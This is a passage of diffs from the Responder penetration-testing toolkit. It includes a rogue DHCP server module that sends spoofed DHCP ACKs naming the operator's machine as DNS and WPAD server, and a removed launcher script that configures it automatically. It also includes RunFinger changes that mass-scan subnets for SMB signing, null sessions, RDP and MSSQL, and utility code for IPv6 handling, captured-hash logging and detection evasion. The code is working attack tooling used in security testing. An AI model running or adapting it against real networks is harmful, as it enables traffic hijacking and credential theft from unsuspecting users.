self.fields["Len"] = StructWithLenPython2or3(">h",len(str(self.fields["Data"]))+8)
class DHCPACK(Packet):
fields = OrderedDict([
("MessType", "\x02"),
("HdwType", "\x01"),
("HdwLen", "\x06"),
("Hops", "\x00"),
("Tid", "\x11\x22\x33\x44"),
("ElapsedSec", "\x00\x00"),
("BootpFlags", "\x00\x00"),
("ActualClientIP", "\x00\x00\x00\x00"),
("GiveClientIP", "\x00\x00\x00\x00"),
("NextServerIP", "\x00\x00\x00\x00"),
("RelayAgentIP", "\x00\x00\x00\x00"),
("ClientMac", "\xff\xff\xff\xff\xff\xff"),
("ClientMacPadding", "\x00" *10),
("ServerHostname", "\x00" * 64),
("BootFileName", "\x00" * 128),
("MagicCookie", "\x63\x82\x53\x63"),
("DHCPCode", "\x35"), #DHCP Message
("DHCPCodeLen", "\x01"),
("DHCPOpCode", "\x05"), #Msgtype(ACK)
("Op54", "\x36"),
("Op54Len", "\x04"),
("Op54Str", ""), #DHCP Server
("Op51", "\x33"),
("Op51Len", "\x04"),
("Op51Str", "\x00\x01\x51\x80"), #Lease time, 1 day
("Op1", "\x01"),
("Op1Len", "\x04"),
("Op1Str", ""), #Netmask
("Op15", "\x0f"),
("Op15Len", "\x0e"),
("Op15Str", ""), #DNS Name
("Op3", "\x03"),
("Op3Len", "\x04"),
("Op3Str", ""), #Router
("Op6", "\x06"),
("Op6Len", "\x08"),
("Op6Str", ""), #DNS Servers
("Op252", "\xfc"),
("Op252Len", "\x04"),
("Op252Str", ""), #Wpad Server
("Op255", "\xff"),
("Padding", "\x00"),
])
def calculate(self):
self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER).decode('latin-1')
self.fields["Op1Str"] = socket.inet_aton(NETMASK).decode('latin-1')
self.fields["Op3Str"] = socket.inet_aton(ROUTERIP).decode('latin-1')
self.fields["Op6Str"] = socket.inet_aton(DNSIP).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1')
self.fields["Op15Str"] = DNSNAME
self.fields["Op252Str"] = WPADSRV
self.fields["Op15Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op15Str"])))
self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"])))
class DHCPInformACK(Packet):
fields = OrderedDict([
("MessType", "\x02"),
("HdwType", "\x01"),
("HdwLen", "\x06"),
("Hops", "\x00"),
("Tid", "\x11\x22\x33\x44"),
("ElapsedSec", "\x00\x00"),
("BootpFlags", "\x00\x00"),
("ActualClientIP", "\x00\x00\x00\x00"),
("GiveClientIP", "\x00\x00\x00\x00"),
("NextServerIP", "\x00\x00\x00\x00"),
("RelayAgentIP", "\x00\x00\x00\x00"),
("ClientMac", "\xff\xff\xff\xff\xff\xff"),
("ClientMacPadding", "\x00" *10),
("ServerHostname", "\x00" * 64),
("BootFileName", "\x00" * 128),
("MagicCookie", "\x63\x82\x53\x63"),
("Op53", "\x35\x01\x05"), #Msgtype(ACK)
("Op54", "\x36"),
("Op54Len", "\x04"),
("Op54Str", ""), #DHCP Server
("Op1", "\x01"),
("Op1Len", "\x04"),
("Op1Str", ""), #Netmask
("Op15", "\x0f"),
("Op15Len", "\x0e"),
("Op15Str", ""), #DNS Name
("Op3", "\x03"),
("Op3Len", "\x04"),
("Op3Str", ""), #Router
("Op6", "\x06"),
("Op6Len", "\x08"),
("Op6Str", ""), #DNS Servers
("Op252", "\xfc"),
("Op252Len", "\x04"),
("Op252Str", ""), #Wpad Server.
("Op255", "\xff"),
])
def calculate(self):
self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER).decode('latin-1')
self.fields["Op1Str"] = socket.inet_aton(NETMASK).decode('latin-1')
self.fields["Op3Str"] = socket.inet_aton(ROUTERIP).decode('latin-1')
self.fields["Op6Str"] = socket.inet_aton(DNSIP).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1')
self.fields["Op15Str"] = DNSNAME
self.fields["Op252Str"] = WPADSRV
self.fields["Op15Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op15Str"])))
self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"])))
def SpoofIP(Spoof):
return ROUTERIP if Spoof else Responder_IP
def RespondToThisIP(ClientIp):
if ClientIp.startswith('127.0.0.'):
return False
elif RespondTo and ClientIp not in RespondTo:
return False
elif ClientIp in RespondTo or RespondTo == []:
if ClientIp not in DontRespondTo:
return True
return False
def ParseSrcDSTAddr(data):
SrcIP = socket.inet_ntoa(data[0][26:30])
DstIP = socket.inet_ntoa(data[0][30:34])
SrcPort = struct.unpack('>H',data[0][34:36])[0]
DstPort = struct.unpack('>H',data[0][36:38])[0]
return SrcIP, SrcPort, DstIP, DstPort
def FindIP(data):
data = data.decode('latin-1')
IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data))
return ''.join(IP[0:4]).encode('latin-1')
def ParseDHCPCode(data):
PTid = data[4:8]
Seconds = data[8:10]
CurrentIP = socket.inet_ntoa(data[12:16])
RequestedIP = socket.inet_ntoa(data[16:20])
MacAddr = data[28:34]
MacAddrStr = ':'.join('%02x' % ord(m) for m in MacAddr.decode('latin-1')).upper()
OpCode = data[242:243]
RequestIP = data[245:249]
# DHCP Inform
if OpCode == b"\x08":
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)).decode('latin-1'), DstIP=socket.inet_aton(CurrentIP))
Packet = DHCPInformACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), ActualClientIP=socket.inet_aton(CurrentIP).decode('latin-1'),
GiveClientIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
NextServerIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
RelayAgentIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
ElapsedSec=Seconds.decode('latin-1'))
Packet.calculate()
Buffer = UDP(Data = Packet)
Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68))
return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, RequestedIP, MacAddrStr)
elif OpCode == b"\x03" and Respond_To_Requests: # DHCP Request
IP = FindIP(data)
if IP:
IPConv = socket.inet_ntoa(IP)
if RespondToThisIP(IPConv):
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)).decode('latin-1'), DstIP=IP.decode('latin-1'))
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), ElapsedSec=Seconds.decode('latin-1'))
Packet.calculate()
Buffer = UDP(Data = Packet)
Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68))
return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, RequestedIP, MacAddrStr)
elif OpCode == b"\x01" and Respond_To_Requests: # DHCP Discover
IP = FindIP(data)
if IP:
IPConv = socket.inet_ntoa(IP)
if RespondToThisIP(IPConv):
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), DHCPOpCode="\x02", ElapsedSec=Seconds.decode('latin-1'))
Packet.calculate()
Buffer = UDP(Data = Packet)
Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0))
return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, RequestedIP, MacAddrStr)
def SendDHCP(packet,Host):
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
s.sendto(NetworkSendBufferPython2or3(packet), Host)
if __name__ == "__main__":
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
s.bind((Interface, 0x0800))
while True:
try:
data = s.recvfrom(65535)
if data[0][23:24] == b"\x11": # is udp?
SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data)
if SrcPort == 67 or DstPort == 67:
ret = ParseDHCPCode(data[0][42:])
if ret:
print(text("[DHCP] %s" % ret))
except KeyboardInterrupt:
sys.exit("\r%s Exiting..." % color('[*]', 2, 1))

View File

@@ -1,63 +0,0 @@
#!/bin/bash
# This file is part of Responder. laurent.gaffie@gmail.com
#
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
# This script will try to auto-detect network parameters
# to run the rogue DHCP server, to inject only your IP
# address as the primary DNS server and WPAD server and
# leave everything else normal.
if [ -z $1 ]; then
echo "usage: $0 <interface>"
exit
fi
if [ $EUID -ne 0 ]; then
echo "Must be run as root."
exit
fi
if [ ! -d "/sys/class/net/$1" ]; then
echo "Interface does not exist."
exit
fi
INTF=$1
PATH="$PATH:/sbin"
IPADDR=`ifconfig $INTF | sed -n 's/inet addr/inet/; s/inet[ :]//p' | awk '{print $1}'`
NETMASK=`ifconfig $INTF | sed -n 's/.*[Mm]ask[: ]//p' | awk '{print $1}'`
DOMAIN=`grep -E "^domain |^search " /etc/resolv.conf | sort | head -1 | awk '{print $2}'`
DNS1=$IPADDR
DNS2=`grep ^nameserver /etc/resolv.conf | head -1 | awk '{print $2}'`
ROUTER=`route -n | grep ^0.0.0.0 | awk '{print $2}'`
WPADSTR="http://$IPADDR/wpad.dat"
if [ -z "$DOMAIN" ]; then
DOMAIN=" "
fi
echo "Running with parameters:"
echo "INTERFACE: $INTF"
echo "IP ADDR: $IPADDR"
echo "NETMAST: $NETMASK"
echo "ROUTER IP: $ROUTER"
echo "DNS1 IP: $DNS1"
echo "DNS2 IP: $DNS2"
echo "WPAD: $WPADSTR"
echo ""
echo python DHCP.py -I $INTF -r $ROUTER -p $DNS1 -s $DNS2 -n $NETMASK -d \"$DOMAIN\" -w \"$WPADSTR\"
python DHCP.py -I $INTF -r $ROUTER -p $DNS1 -s $DNS2 -n $NETMASK -d \"$DOMAIN\" -w \"$WPADSTR\"

View File

@@ -17,29 +17,36 @@
import re,sys,struct
import datetime
import multiprocessing
from socket import *
from odict import OrderedDict
import os
import errno
import optparse
import sqlite3
from RunFingerPackets import *
__version__ = "1.3"
from odict import OrderedDict
from socket import *
from odict import OrderedDict
__version__ = "1.8"
parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0])
parser.add_option('-i','--ip', action="store", help="Target IP address or class C", dest="TARGET", metavar="10.10.10.224", default=None)
#Way better to have grepable output by default...
#parser.add_option('-g','--grep', action="store_true", dest="grep_output", default=False, help="Output in grepable format")
parser.add_option('-f','--filename', action="store", help="Target file", dest="Filename", metavar="ips.txt", default=None)
parser.add_option('-t','--timeout', action="store", help="Timeout for all connections. Use this option to fine tune Runfinger.", dest="Timeout", type="float", metavar="0.9", default=2)
options, args = parser.parse_args()
if options.TARGET is None:
if options.TARGET == None and options.Filename == None:
print("\n-i Mandatory option is missing, please provide a target or target range.\n")
parser.print_help()
exit(-1)
Timeout = 2
Timeout = options.Timeout
Host = options.TARGET
SMB1 = "Enabled"
Filename = options.Filename
SMB1 = "True"
SMB2signing = "False"
DB = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/RunFinger.db"
class Packet():
fields = OrderedDict([
@@ -60,6 +67,13 @@ if (sys.version_info > (3, 0)):
else:
PY2OR3 = "PY2"
if not os.path.exists(DB):
cursor = sqlite3.connect(DB)
cursor.execute('CREATE TABLE RunFinger (timestamp TEXT, Protocol TEXT, Host TEXT, WindowsVersion TEXT, OsVer TEXT, DomainJoined TEXT, Bootime TEXT, Signing TEXT, NullSess TEXT, IsRDPOn TEXT, SMB1 TEXT, MSSQL TEXT)')
cursor.commit()
cursor.close()
def StructWithLenPython2or3(endian,data):
#Python2...
if PY2OR3 == "PY2":
@@ -115,7 +129,23 @@ def WorkstationFingerPrint(data):
def GetOsBuildNumber(data):
ProductBuild = struct.unpack("<h",data)[0]
return ProductBuild
def SaveRunFingerToDb(result):
for k in [ 'Protocol', 'Host', 'WindowsVersion', 'OsVer', 'DomainJoined', 'Bootime', 'Signing','NullSess', 'IsRPDOn', 'SMB1','MSSQL']:
if not k in result:
result[k] = ''
cursor = sqlite3.connect(DB)
cursor.text_factory = sqlite3.Binary
res = cursor.execute("SELECT COUNT(*) AS count FROM RunFinger WHERE Protocol=? AND Host=? AND WindowsVersion=? AND OsVer=? AND DomainJoined=? AND Bootime=? AND Signing=? AND NullSess=? AND IsRDPOn=? AND SMB1=? AND MSSQL=?", (result['Protocol'], result['Host'], result['WindowsVersion'], result['OsVer'], result['DomainJoined'], result['Bootime'], result['Signing'], result['NullSess'], result['IsRDPOn'], result['SMB1'], result['MSSQL']))
(count,) = res.fetchone()
if not count:
cursor.execute("INSERT INTO RunFinger VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?, ?,?,?)", (result['Protocol'], result['Host'], result['WindowsVersion'], result['OsVer'], result['DomainJoined'], result['Bootime'], result['Signing'], result['NullSess'], result['IsRDPOn'], result['SMB1'], result['MSSQL']))
cursor.commit()
cursor.close()
def ParseSMBNTLM2Exchange(data, host, bootime, signing): #Parse SMB NTLMSSP Response
data = data.encode('latin-1')
SSPIStart = data.find(b'NTLMSSP')
@@ -130,7 +160,22 @@ def ParseSMBNTLM2Exchange(data, host, bootime, signing): #Parse SMB NTLMSSP Res
WindowsVers = WorkstationFingerPrint(data[SSPIStart+48:SSPIStart+50])
WindowsBuildVers = GetOsBuildNumber(data[SSPIStart+50:SSPIStart+52])
DomainGrab((host, 445))
print(("[SMB2]:['{}', Os:'{}', Build:'{}', Domain:'{}', Bootime: '{}', Signing:'{}', RDP:'{}', SMB1:'{}']".format(host, WindowsVers, str(WindowsBuildVers), Domain, Bootime, signing, IsRDPOn((host,3389)),SMB1)))
RDP = IsServiceOn((host,3389))
SQL = IsServiceOn((host,1433))
print(("[SMB2]:['{}', Os:'{}', Build:'{}', Domain:'{}', Bootime: '{}', Signing:'{}', RDP:'{}', SMB1:'{}', MSSQL:'{}']".format(host, WindowsVers, str(WindowsBuildVers), Domain, Bootime, signing, RDP,SMB1, SQL)))
SaveRunFingerToDb({
'Protocol': '[SMB2]',
'Host': host,
'WindowsVersion': WindowsVers,
'OsVer': str(WindowsBuildVers),
'DomainJoined': Domain,
'Bootime': Bootime,
'Signing': signing,
'NullSess': 'N/A',
'IsRDPOn':RDP,
'SMB1': SMB1,
'MSSQL': SQL
})
def GetBootTime(data):
data = data.encode('latin-1')
@@ -151,15 +196,15 @@ def IsDCVuln(t, host):
Date = datetime.datetime(2017, 3, 14, 0, 30)
if t[0] < Date:
return("This system may be vulnerable to MS17-010")
return("Last restart: "+t[1])
return(t[1])
#####################
def IsSigningEnabled(data):
if data[39] == "\x0f":
return True
return 'True'
else:
return False
return 'False'
def atod(a):
return struct.unpack("!L",inet_aton(a))[0]
@@ -192,14 +237,13 @@ def GetHostnameAndDomainName(data):
Hostname = data[113:].decode('latin-1')
return Hostname, DomainJoined
except:
pass
return "Could not get Hostname.", "Could not get Domain joined"
def DomainGrab(Host):
global SMB1
s = socket(AF_INET, SOCK_STREAM)
s.settimeout(Timeout)
try:
s = socket(AF_INET, SOCK_STREAM)
s.settimeout(0.7)
s.connect(Host)
h = SMBHeaderLanMan(cmd="\x72",mid="\x01\x00",flag1="\x00", flag2="\x00\x00")
n = SMBNegoDataLanMan()
@@ -212,18 +256,19 @@ def DomainGrab(Host):
return GetHostnameAndDomainName(data)
except IOError as e:
if e.errno == errno.ECONNRESET:
SMB1 = "Disabled"
SMB1 = "False"
return False
else:
return False
def SmbFinger(Host):
s = socket(AF_INET, SOCK_STREAM)
s.settimeout(Timeout)
try:
s.settimeout(Timeout)
s.connect(Host)
except:
pass
try:
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
n = SMBNego(Data = SMBNegoData())
@@ -248,8 +293,8 @@ def SmbFinger(Host):
def check_smb_null_session(host):
s = socket(AF_INET, SOCK_STREAM)
s.settimeout(Timeout)
try:
s.settimeout(Timeout)
s.connect(host)
h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x53\xc8")
n = SMBNego(Data = SMBNegoData())
@@ -283,9 +328,9 @@ def check_smb_null_session(host):
s.send(NetworkSendBufferPython2or3(buffer0))
data = s.recv(2048)
if data[8:10] == b'\x75\x00':
return True
return 'True'
else:
return False
return 'False'
except Exception:
return False
@@ -293,19 +338,19 @@ def check_smb_null_session(host):
#SMB2 part:
def ConnectAndChoseSMB(host):
s = socket(AF_INET, SOCK_STREAM)
s.settimeout(Timeout)
try:
s = socket(AF_INET, SOCK_STREAM)
s.settimeout(0.7)
s.connect(host)
h = SMBHeader(cmd="\x72",flag1="\x00")
n = SMBNego(Data = SMB2NegoData())
n.calculate()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(NetworkSendBufferPython2or3(buffer0))
data = s.recv(4096)
except:
return None
h = SMBHeader(cmd="\x72",flag1="\x00")
n = SMBNego(Data = SMB2NegoData())
n.calculate()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(NetworkSendBufferPython2or3(buffer0))
data = s.recv(4096)
return False
if ParseNegotiateSMB2Ans(data):
try:
while True:
@@ -344,67 +389,83 @@ def handle(data, host):
ParseSMBNTLM2Exchange(data, host[0], Bootime, SMB2signing)
##################
#run it
def ShowResults(Host):
if ConnectAndChoseSMB((Host,445)) == False:
try:
Hostname, DomainJoined = DomainGrab((Host, 445))
Signing, OsVer, LanManClient = SmbFinger((Host, 445))
NullSess = check_smb_null_session((Host, 445))
print(("Retrieving information for %s..."%(Host)))
print(("SMB signing: %s"%(Signing)))
print(("Null Sessions Allowed: %s"%(NullSess)))
print(("OS version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient)))
print(("Machine Hostname: '%s'\nThis machine is part of the '%s' domain"%(Hostname, DomainJoined)))
print(("RDP port open: '%s'\n"%(IsRDPOn((Host,3389)))))
except:
return False
def ShowSmallResults(Host):
if ConnectAndChoseSMB((Host,445)) == False:
try:
Hostname, DomainJoined = DomainGrab((Host, 445))
Signing, OsVer, LanManClient = SmbFinger((Host, 445))
NullSess = check_smb_null_session((Host, 445))
print(("[SMB1]:['{}', Os:'{}', Domain:'{}', Signing:'{}', Null Session: '{}', RDP:'{}']".format(Host, OsVer, DomainJoined, Signing, NullSess,IsRDPOn((Host,3389)))))
RDP = IsServiceOn((Host,3389))
SQL = IsServiceOn((Host,1433))
print(("[SMB1]:['{}', Os:'{}', Domain:'{}', Signing:'{}', Null Session: '{}', RDP:'{}', MSSQL:'{}']".format(Host, OsVer, DomainJoined, Signing, NullSess,RDP, SQL)))
SaveRunFingerToDb({
'Protocol': '[SMB1]',
'Host': Host,
'WindowsVersion':OsVer,
'OsVer': OsVer,
'DomainJoined':DomainJoined,
'Bootime': 'N/A',
'Signing': Signing,
'NullSess': NullSess,
'IsRDPOn':RDP,
'SMB1': 'True',
'MSSQL': SQL
})
except:
return False
def IsRDPOn(Host):
def IsServiceOn(Host):
s = socket(AF_INET, SOCK_STREAM)
s.settimeout(Timeout)
try:
s.settimeout(Timeout)
s.connect(Host)
if s:
return True
return 'True'
else:
return False
return 'False'
except Exception as err:
return False
return 'False'
def RunFinger(Host):
m = re.search("/", str(Host))
if m:
net,_,mask = Host.partition('/')
mask = int(mask)
net = atod(net)
threads = []
"""
if options.grep_output:
func = ShowSmallResults
else:
func = ShowResults
"""
func = ShowSmallResults
for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
p = multiprocessing.Process(target=func, args=((host),))
threads.append(p)
p.start()
else:
ShowSmallResults(Host)
if Filename != None:
with open(Filename) as fp:
Line = fp.read().splitlines()
for Ln in Line:
m = re.search("/", str(Ln))
if m:
net,_,mask = Ln.partition('/')
mask = int(mask)
net = atod(net)
threads = []
Pool = multiprocessing.Pool(processes=250)
func = ShowSmallResults
for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
proc = Pool.apply_async(func, ((host),))
threads.append(proc)
for proc in threads:
proc.get()
else:
ShowSmallResults(Ln)
if Filename == None:
m = re.search("/", str(Host))
if m:
net,_,mask = Host.partition('/')
mask = int(mask)
net = atod(net)
threads = []
Pool = multiprocessing.Pool(processes=250)
func = ShowSmallResults
for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
proc = Pool.apply_async(func, ((host),))
threads.append(proc)
for proc in threads:
proc.get()
else:
ShowSmallResults(Host)
RunFinger(Host)

View File

@@ -3,7 +3,10 @@ try:
from UserDict import DictMixin
except ImportError:
from collections import UserDict
from collections import MutableMapping as DictMixin
try:
from collections import MutableMapping as DictMixin
except ImportError:
from collections.abc import MutableMapping as DictMixin
class OrderedDict(dict, DictMixin):

152
utils.py
View File

@@ -24,8 +24,24 @@ import settings
import datetime
import codecs
import struct
import random
try:
import netifaces
except:
sys.exit('You need to install python-netifaces or run Responder with python3...\nTry "apt-get install python-netifaces" or "pip install netifaces"')
from calendar import timegm
def if_nametoindex2(name):
if settings.Config.PY2OR3 == "PY2":
import ctypes
import ctypes.util
libc = ctypes.CDLL(ctypes.util.find_library('c'))
ret = libc.if_nametoindex(name)
return ret
else:
return socket.if_nametoindex(settings.Config.Interface)
def RandomChallenge():
if settings.Config.PY2OR3 == "PY3":
if settings.Config.NumChal == "random":
@@ -128,6 +144,31 @@ def RespondWithIPAton():
else:
return settings.Config.IP_aton.decode('latin-1')
def RespondWithIPPton():
if settings.Config.PY2OR3 == "PY2":
if settings.Config.ExternalIP6:
return settings.Config.ExternalIP6Pton
else:
return settings.Config.IP_Pton6
else:
if settings.Config.ExternalIP6:
return settings.Config.ExternalIP6Pton.decode('latin-1')
else:
return settings.Config.IP_Pton6.decode('latin-1')
def RespondWithIP():
if settings.Config.ExternalIP:
return settings.Config.ExternalIP
else:
return settings.Config.Bind_To
def RespondWithIP6():
if settings.Config.ExternalIP6:
return settings.Config.ExternalIP6
else:
return settings.Config.Bind_To6
def OsInterfaceIsSupported():
if settings.Config.Interface != "Not set":
return not IsOsX()
@@ -136,6 +177,16 @@ def OsInterfaceIsSupported():
def IsOsX():
return sys.platform == "darwin"
def IsIPv6IP(IP):
if IP == None:
return False
regex = "(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))"
ret = re.search(regex, IP)
if ret:
return True
else:
return False
def FindLocalIP(Iface, OURIP):
if Iface == 'ALL':
return '0.0.0.0'
@@ -143,6 +194,19 @@ def FindLocalIP(Iface, OURIP):
try:
if IsOsX():
return OURIP
elif IsIPv6IP(OURIP):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, 25, str(Iface+'\0').encode('utf-8'))
s.connect(("127.0.0.1",9))#RFC 863
ret = s.getsockname()[0]
s.close()
return ret
elif IsIPv6IP(OURIP) == False and OURIP != None:
return OURIP
elif OURIP == None:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, 25, str(Iface+'\0').encode('utf-8'))
@@ -150,11 +214,45 @@ def FindLocalIP(Iface, OURIP):
ret = s.getsockname()[0]
s.close()
return ret
return OURIP
except socket.error:
print(color("[!] Error: %s: Interface not found" % Iface, 1))
sys.exit(-1)
def FindLocalIP6(Iface, OURIP):
if Iface == 'ALL':
return '::'
try:
if IsIPv6IP(OURIP) == False:
try:
#Let's make it random so we don't get spotted easily.
randIP = "2001:" + ":".join(("%x" % random.randint(0, 16**4) for i in range(7)))
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
s.connect((randIP+':80', 1))
IP = s.getsockname()[0]
print('IP is: %s'%IP)
return IP
except:
try:
#Try harder; Let's get the local link addr
IP = str(netifaces.ifaddresses(Iface)[netifaces.AF_INET6][0]["addr"].replace("%"+Iface, ""))
return IP
except:
IP = '::1'
print("[+] You don't have an IPv6 address assigned.")
return IP
else:
return OURIP
except socket.error:
print(color("[!] Error: %s: Interface not found" % Iface, 1))
sys.exit(-1)
# Function used to write captured hashs to a file.
def WriteData(outfile, data, user):
logging.info("[*] Captured Hash: %s" % data)
@@ -210,6 +308,8 @@ def CreateResponderDb():
cursor.commit()
cursor.execute('CREATE TABLE responder (timestamp TEXT, module TEXT, type TEXT, client TEXT, hostname TEXT, user TEXT, cleartext TEXT, hash TEXT, fullhash TEXT)')
cursor.commit()
cursor.execute('CREATE TABLE DHCP (timestamp TEXT, MAC TEXT, IP TEXT, RequestedIP TEXT)')
cursor.commit()
cursor.close()
def SaveToDb(result):
@@ -217,7 +317,7 @@ def SaveToDb(result):
for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]:
if not k in result:
result[k] = ''
result['client'] = result['client'].replace("::ffff:","")
if len(result['user']) < 2:
print(color('[*] Skipping one character username: %s' % result['user'], 3, 1))
text("[*] Skipping one character username: %s" % result['user'])
@@ -293,7 +393,7 @@ def SavePoisonersToDb(result):
for k in [ 'Poisoner', 'SentToIp', 'ForName', 'AnalyzeMode' ]:
if not k in result:
result[k] = ''
result['SentToIp'] = result['SentToIp'].replace("::ffff:","")
cursor = sqlite3.connect(settings.Config.DatabaseFile)
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
res = cursor.execute("SELECT COUNT(*) AS count FROM Poisoned WHERE Poisoner=? AND SentToIp=? AND ForName=? AND AnalyzeMode=?", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode']))
@@ -305,16 +405,37 @@ def SavePoisonersToDb(result):
cursor.close()
def SaveDHCPToDb(result):
for k in [ 'MAC', 'IP', 'RequestedIP']:
if not k in result:
result[k] = ''
cursor = sqlite3.connect(settings.Config.DatabaseFile)
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
res = cursor.execute("SELECT COUNT(*) AS count FROM DHCP WHERE MAC=? AND IP=? AND RequestedIP=?", (result['MAC'], result['IP'], result['RequestedIP']))
(count,) = res.fetchone()
if not count:
cursor.execute("INSERT INTO DHCP VALUES(datetime('now'), ?, ?, ?)", (result['MAC'], result['IP'], result['RequestedIP']))
cursor.commit()
cursor.close()
def Parse_IPV6_Addr(data):
if data[len(data)-4:len(data)][1] ==b'\x1c':
return False
if data[len(data)-4:len(data)] == b'\x00\x1c\x00\x01':
return 'IPv6'
elif data[len(data)-4:len(data)] == b'\x00\x01\x00\x01':
return True
elif data[len(data)-4:len(data)] == b'\x00\xff\x00\x01':
return True
return False
def IsIPv6(data):
if "::ffff:" in data:
return False
else:
return True
def Decode_Name(nbname): #From http://code.google.com/p/dpkt/ with author's permission.
try:
from string import printable
@@ -355,6 +476,10 @@ def banner():
print(banner)
print("\n \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__)
print('')
print(" To support this project:")
print(" Patreon -> https://www.patreon.com/PythonResponder")
print(" Paypal -> https://paypal.me/PythonResponder")
print('')
print(" Author: Laurent Gaffie (laurent.gaffie@gmail.com)")
print(" To kill this script hit CTRL-C")
print('')
@@ -366,9 +491,10 @@ def StartupMessage():
print('')
print(color("[+] ", 2, 1) + "Poisoners:")
print(' %-27s' % "LLMNR" + enabled)
print(' %-27s' % "NBT-NS" + enabled)
print(' %-27s' % "DNS/MDNS" + enabled)
print(' %-27s' % "LLMNR" + (enabled if settings.Config.AnalyzeMode == False else disabled))
print(' %-27s' % "NBT-NS" + (enabled if settings.Config.AnalyzeMode == False else disabled))
print(' %-27s' % "MDNS" + (enabled if settings.Config.AnalyzeMode == False else disabled))
print(' %-27s' % "DNS" + enabled)
print(' %-27s' % "DHCP" + (enabled if settings.Config.DHCP_On_Off else disabled))
print('')
@@ -387,7 +513,7 @@ def StartupMessage():
print(' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled))
print(' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled))
print(' %-27s' % "RDP server" + (enabled if settings.Config.RDP_On_Off else disabled))
print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.RDP_On_Off else disabled))
print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.DCERPC_On_Off else disabled))
